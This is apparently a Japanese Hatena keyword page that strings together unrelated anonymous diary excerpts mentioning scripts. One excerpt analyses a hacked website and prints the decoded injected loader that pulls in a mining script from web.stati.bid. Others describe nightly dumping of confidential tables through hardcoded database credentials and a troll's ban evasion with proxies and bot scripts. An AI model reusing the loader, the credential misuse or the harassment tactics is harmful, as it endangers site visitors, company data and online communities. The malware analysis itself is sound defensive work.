はてなキーワード: スクリプトとは
Excelを持っているならはてブのJSONデータをそのまま取り込めるそうだからそのデータを使ってブクマが付いた時間のグラフが描けそう。
例えばこんな感じでJSONデータが取れる。 http://b.hatena.ne.jp/entry/jsonlite/https://anond.hatelabo.jp/20180315232737
Excel持ってないならスクリプトでCSVにしてしまえばいい。
rubyスクリプトだとこんな感じ。(Mechanize無し版に差し替え。なぜMechanizeを使っていたかと言うとはてブがUser-Agentが空だと値を返してくれないから。ちょっと長くなるが自前でUAを渡すようにした。)
#!/usr/bin/ruby
site = ARGV[0]
json_uri = URI.parse("http://b.hatena.ne.jp/entry/jsonlite/%s" % [site])
response = Net::HTTP.start(json_uri.host, json_uri.port) do |http|
http.get(json_uri.path, "User-Agent" => "Mozilla/5.0")
end
json_data = JSON.parse(response.body)
json_data['bookmarks'].each do |bookmark|
puts [bookmark['user'], bookmark['timestamp'], bookmark['comment'], bookmark['tags'].to_s].to_csv
end
引数に取得したいページのURLを入れる。hatebuapi-csv.rbという名前で保存したとしたらこんな感じで実行。
% hatebuapi-csv.rb https://anond.hatelabo.jp/20180315######## > 結果.csv
JavaScriptには詳しくないため、コードをまるごと検索につっこんで類似例を見つけたいところだが、記号が多用されたコードはそのままではぐぐれないので
"javascript obfuscator dollar underscore" といったキーワードで検索
すると下記の解説サイトがヒットし、JJEncodeというツールで難読化されたものであることがわかる
https://blog.korelogic.com/blog/2015/01/12
デコードツールも紹介されているのでさっそく試してみると、以下の結果が得られる
var el = document.createElement('script'); el.src = 'https://web.stati.bid/js/YQHHAAUDYwBFglDXg0VSBVWyEDQ5dxGCBTNT8UDGUBBT0zPFUjCtARE2NzAVJSIPQ0FJABFUVTK_AABJVxIGEkH5QCFDBASVIhPPcREqYRFEdRQcsUEkARJYQyAXVBPNcQLaQAVm4CQCZAAVdEMGYAXQxwa.js?trl=0.20'; document.head.appendChild(el);
次に "web.stati.bid" でぐぐると下記のブログがヒットする
それによると去年12月ぐらいから複数のサイトが改変被害に遭っていて、同じスクリプトを挿入されているらしい
飛び先のURLはいくつかあるが、中でもこのstati.bidドメインは今月登録されたばかりの非常に新しいもののようだ
https://blog.sucuri.net/2018/02/wikipedia-page-review-revealed-minr-malware.html
ちょうど英語Wikipediaでも同ドメインへ繋がるリンクが貼られて一悶着あったようだが、そのURLは桂春蝶サイトに埋め込まれていたURLと(パラメータ込みで)完全一致する
警告は JS:Includer-BJQ [Trj] で、JavaScriptによるトロイのリンク埋め込みの判定だ。
ウイルスバスターなど、トレンドマイクロ社の製品でも遮断されるという報告がある。
警告はJS/CoinMiner.AEで、トロイのうち、仮想通貨マイニングスクリプトの判定だ。
しかし、念のためにオンラインURLスキャナーに掛けてみると、
https://virusdesk.kaspersky.com
共にSafe/clearの判定なのである。
rescan.proではHTTPエラー403以外SAFEとの事だが、そもそも403食らって何故スキャン出来るのか?
炎上しているので嫌がらせ登録された可能性もあるが、ユーザーのpostだけでブラックリスト入れるほどユルイセキュリティベンダもない筈だ。
派遣の客先常駐なんだけど、派遣先の業務システムがとにかくクソ遅かった
回線がクソなのかシステムの設計がクソなのか知らんが、とにかくレスポンスが遅い
とある業務システム、過去案件の検索はボタン押してから表示されるまで10分くらいかかる
しかも検索結果が1件だろうが1,000件だろうがかかる時間はほぼ同じ
(新規登録なら比較的短時間で2、3分、登録済みデータの変更だと5分以上かかるが、こっちは1週間に1、2回程度の頻度なので我慢は出来る)
クソ時間がかかるので、一度に何件も同時に検索が必要な場合は、「すみません、○○検索するんでPC空いてる人いますか?」と周囲に声を掛けなきゃならない
周囲の人達もこのシステムのクソさを嫌というほど知ってるので俺に対して協力的なのが唯一の救いだ
このシステムのクライアントはAccessなんだが、あるとき、データベースの認証情報がハードコーディングされている事に気付いた
そこで俺は一計を案じた
検索対象のテーブルを丸ごと俺のPCにCSV形式で吐き出させるスクリプトを毎日深夜に自動実行するよう設定しておいた
検索する際はこのCSVファイルを使うようにすることで、検索の所要時間は1/10以下になった
原因は俺ではなく、情シスの新人が操作ミスでテーブルを飛ばしてしまったようだった
社内は大混乱に陥った
バックアップは俺が派遣される前にファイルサーバーが故障してそれっきり放置されていたため、存在しないも同然だった
仕方がないので情シスの中の人に「俺こんなファイル持ってるんだけど」と申し出て、それを丸ごと流し込む事でその日のうちにテーブルは99.9%復旧し、社員らはいつもより少し長く残業する程度で済んだ
「お前何勝手に毎日のように本番DBから社外秘データ全部抜いとんねん!万が一お前のPC盗まれたら新聞沙汰どころちゃうぞ!社長のクビ飛んどるぞ!」と、まあそりゃそうだ
俺はヘラヘラ笑いながら「いや~すんませんっした~」と言うしかなかったが、株価ストップ安レベルの重大事故を水際で新人の始末書一枚に抑え込んだ事も考慮され口頭注意で手打ちとなった
今の会社はいわゆるシステムインテグレータと呼ばれるところで、自分はそこのSEとして働いてる。
就職して気づいたら5年も経っていたので愚痴を垂れ流してみる。
とりあえず、客から依頼されてシステム作るという業態に限界を感じる。
貰ったお金の範囲内でシステムを作ることに注力するので、良いシステムを作るのではなく、安く作ることに注力することになる。
その結果が人月とかいう考え方で、10年目の先輩と自分とプログラム習ったばかりの新人が同じ「一人月」で表されるのはいい加減やめてほしい。
「人が足りないので新人を5人送ります」みたいなわけのわからないメールが飛び交ったりするし。
みんな休日出勤して、へろへろになりながらリリースして、みんな良く頑張ったね、お客様からもお褒めの言葉を頂きました、良かった良かった、
みたいな感じでなぁなぁで毎回終わるんだけど、それより「みんなありがとう、原因はこいつだったのでクビにしました」って感じにならないかな?
一分単位でなんの業務についての作業をしたか毎日入力させられるんだけど、うちの会社だけなんだろうか。
なにに何分使ったかを数えている時間はどの業務にあたるのか毎回疑問に思う。
この業務に使った時間はこっちの業務で使ったことにしてください、みたいなことを言われるんだけど、それならそっちで勝手に入力してほしい。
人と時間の切り売りから脱却する、これからはアイデア勝負の時代だ、みんなアイデアを出せ、みたいなことを言われるけど、
いつアイデアを出すことを想定しているんだろう。電車の中とか風呂の中?
というかアイデアを出す感じの部署があった気がするけど、あいつら何してるの?
「クラウド上で何台サーバーが動いているか記入してください」みたいなことをのたまう部署は全員クビにしてくれ。
設定をそのまま書き写したExcelファイルになんの意味があるのか未だにわからない。
ファイルをそのまま見た方が早いんじゃないの?
社内に内部構造に詳しい製作者がいることより、ググっても情報が出てこないことのデメリットの方が大きいのでは。
色々書いたら少しすっきりしました。
公開初日に最後のジェダイを見て来たのだが、何とも言えないモヤモヤが残り続け
色々と他人の感想を聞くにつれ、モヤモヤの正体が見えてきたので聞いてほしい。
前作であるep7「フォースの覚醒」はパーフェクトではなくとも、それなりに楽めた。
ep6「ジェダイの帰還」から作中でも実世界でも30年越しの新作、ファンとして興奮しないわけがない。
ep7を鑑賞した後、次回作の展開について頭の中で空想を巡らせた。初めてスターウォーズを見た子供のように。
レイやスノークの正体は?ルークはどんな活躍をするのか?カイロ・レンはアナキンの後継足り得るのか?
今になって思えば、公開前までが一番ep8「最後のジェダイ」を楽しむことができた、幸福な時間だった。
実際にep8を鑑賞すると、想像していたような展開は何一つとして実現せず、常に観客の裏をかく脚本に仕上がっていた。
もちろんこれは意図的な路線変更であり、明らかに過去作との差別化を目指している。
過去のキャラクターとの決別や「お約束」の排除、「神話」と揶揄される古いヒーロー像の否定・・・。
これらは確かに旧作ファンからすると寂しいものがあるが、私は実のところこういった「テコ入れ」は嫌いではない。
少し話が逸れるが、私はスクリプトをこねくり回すような職についていたことがあるのだが、
国内外問わずシリーズものが強いコンテンツ業界においては「テコ入れ」や「リブート」は必須スキルだ。
冒険譚が日常系になったり、物語のフレームを取り替えてしまう。
「舞台の変更」とは例えば現代の話が江戸時代にタイムスリップしたり、
SFになったりファンタジーになったり、「海外編」が始まったりする。
「キャラクターの変更」とは例えば敵キャラが主人公に抜擢されたり
性別を変えてみたりキャラクター解釈を変えてみたりキャッチーな新キャラを登場させたりする。
「演出の変更」とは絵柄や作画担当を変えたり、アニメ化・実写化もこれに当たるかな?
そして最後に「抽象度の変更」、これは物語のリアリティレベルを変え、
リアルでハードなストーリーになったり、逆にマイルドな子供向けになったりする。
ep8の「テコ入れ」で大きいのは「キャラクターの変更」と「抽象度の変更」だろう。
ep8ではジェダイの血筋や神話性を否定し、これまで凡俗とされていた人々にフォーカスを当てた。
X-MENの新作「ローガン」では今まで考えられなかったウルヴァリンのキャラクター性と生き様を描き、
「シン・ゴジラ」では原点回帰を意識させつつ妙なリアリティと説得力を持って庵野ワールドを表現している。
しかし、ep8はどうだろうか。
本来この方針で行くならば徹底的にリアリティを追求して凡俗な者たちの力で泥臭く物語を進めたり、
「新世代のジェダイ」は「滅びゆくジェダイ」と全く違う描き方をすべきだった。
凡俗な者たちの人間ドラマについても群像劇なりに感情移入できるだけの脚本力が欲しい。
しかし実査には御都合主義的で破綻した脚本、感情移入できないキャラクターたち、
ep7では旧作を意識した作りをして、旧3部作を踏襲するかのように思わせておいてep8でどんでん返しを決めた。
たくさんの串を用意し、複数の端末とPCを用意し、時にはフリーWi-Fiも使った
あぼーんを感じればIDを切り替え、荒らす為にスクリプトも組んだ
住民が触れようが触れまいが荒らした、触れたら二倍か三倍荒らして触れられなくても荒らした
俺の目的は唯一、住民に可能な限り嫌な思いをさせる、ただそれだけ
だから粘着はやめないし、ずっとbotの如く同じ文章を同じ時間にレスし、特定のキャラに粘着し続ける
おまえたちはおれをどうしょうもできないだろうなぁ、くへへへへ
足でゲームでふと思い出したのだが、
十年以上前のエロゲかアニメだと思う(もしかしたら漫画)。物凄い勢いでゲームを作る男が登場する話。
ヒロインがいるけど、そのゲームを作る人は男。ギャルゲかエロゲを作る。男は足でキーボードを操作してゲームのスクリプトかシナリオを書く。
男は狭い部屋にいる。手の方は別のことをしている。タブレットで絵を描いているのかも。(絵を書くのは女の子かも)
男のいる部屋は女の子のすぐ近くで壁か床を破って登場したりする(ような気もする)
ヒロインのことは少しも思い出せない。
TvRockは遅い・醜い・使いにくい・スマホ版がゴミと、使い物にならないレベルだった。
EDCBは真逆で、ネイティブクライアントほどではないもののかなりのことができるようになった。
TvRockは同一チャンネルを連続録画させると間が切れてしまう問題があった。
対処するためには手動でチューナーを割り振らなければならない。
EDCBは問題なし。
同一チャンネルの録画なら、同じチューナーを使えるようになった。
TvRockでもBonDriverProxyExを使って仮想的にチューナーを増やせば可能だが、録画できるのかどうかはっきりしない点で劣る。
TvRockはRockバーを開いた状態でリモートデスクトップを使って解像度が変わると、Rockバーが画面外に移動して操作不可能になることがある。
故にRockバーは基本閉じっぱなしでなければならない。
EDCBは問題なし。
TvRockは予約を消す→書き換える→ナンバリングを戻す→確認と、かなり手間がかかった。
EDCBは予約を書き換える→確認だけで済む。
TvRockをEDCB互換にするためのものなので、EDCBに変えたことで不要になった。
TvRockほどの置換力がない。
加えてナンバリングもない。
西澤保彦「レッスン中にお山登りをしようとして怒られた棟方愛海ちゃんが、街をぶらぶらしていると、森奈津子と出会うんですよ」
法月綸太郎「図書館の自由宣言を勘違いした棟方愛海ちゃんが鷺沢文香ちゃんのお山を自由にしちゃうんですよ」
京極夏彦「こう、コミュを読み進めるユーザーの指が、自然と色々なアイドルのお山を実は触っていたみたいなトリックがしたいので、テキスト表示窓の位置を変えるスクリプトありません?」
それとはすなわち
煉獄」
城平京「えーやだやだー、僕この棟方愛海ちゃんより、楓さんとか川島さんのコミュが書きたいのー、だいたい、愛海と書いて「あつみ」と読むのおかしくないですかあ? ゆうざきひよのだったんですよー」
魯山人「これに比べると棟方はんの器は山や」
(※魯山人はミステリ作家ではないですが、雁屋哲が一作ぐらい書いていてもおかしくないような気がしてならないと思いたい気持ちは否定できないから実質魯山人もミステリ作家、ミステリ作家なのである)
横山秀夫「なるほど、愛海さんのことはわかりました。ただ片桐早苗さんはどうして警察をお辞めに?」
宮部みゆき「そっかー! 女の子しか出てこない作品なら中居くんが主演することはないんですねー!
え? プロデューサー……」
小林立「お、お山を揉むなんて恥ずかしいシーン、私かけません!」
(※小林立はミステリ作家ではないのは重々承知なのですが、重々承知した上でこうなんかうまいことこじつけようと思い書きました。ただ、なんかうまいことこじつけた内容が全く思いつかなかったので、徹頭徹尾意味不明ですが、その意味不明さもまたメデタイのでよしとしてください。こう、ロケットの夏は)
(覆面作家の頃の)北村薫「お、お山を揉むなんて恥ずかしいシーン、私かけません!」
我孫子武丸「アイドルマスター? アイドルマスター…… アイドルマスターミリオンライブ…… アイドルマスターミリオンラジオ…… 伊福部崇…… ホタエナッ……
このかたにお願いすれば、私が書かなくてもよいのでは?」
大槻ケンヂ「アイドルマスター? アイドルマスター…… アニマス…… 高橋龍也…… 雫……
このかたにお願いすれば、私が書かなくてもよいかもしれないですけど、その場合はうだるさんも是非……」
大槻ケンヂ「アイドルマスター?アイドルマスター…… アイドルマスターミリオンライブ…… アイドルマスターミリオンラジオ…… 伊福部崇…… POARO…… おもちゃやめぐり……
よし! この南条光くんを主役にしよう!」
星新一「アイドルマスター? アイドルマスター…… アニマス…… 高橋龍也…… 痕…… 超先生のおまけシナリオ……
このかたにお願い…… え? ああ、そうでしたか、すいません、すいませんだけど、これよく考えたら私もですやん!」
山本麻里安「だから、幸子ちゃんへのプレゼントに時子Pを井戸に突き落とすんですよ!!!!!」
(※山本麻里安はミステリ作家ではないのでは? とのツッコミにつきましては、あの美貌はどう考えてもミステリーなので、実質ミステリ作家、実質ミステリ作家なのです)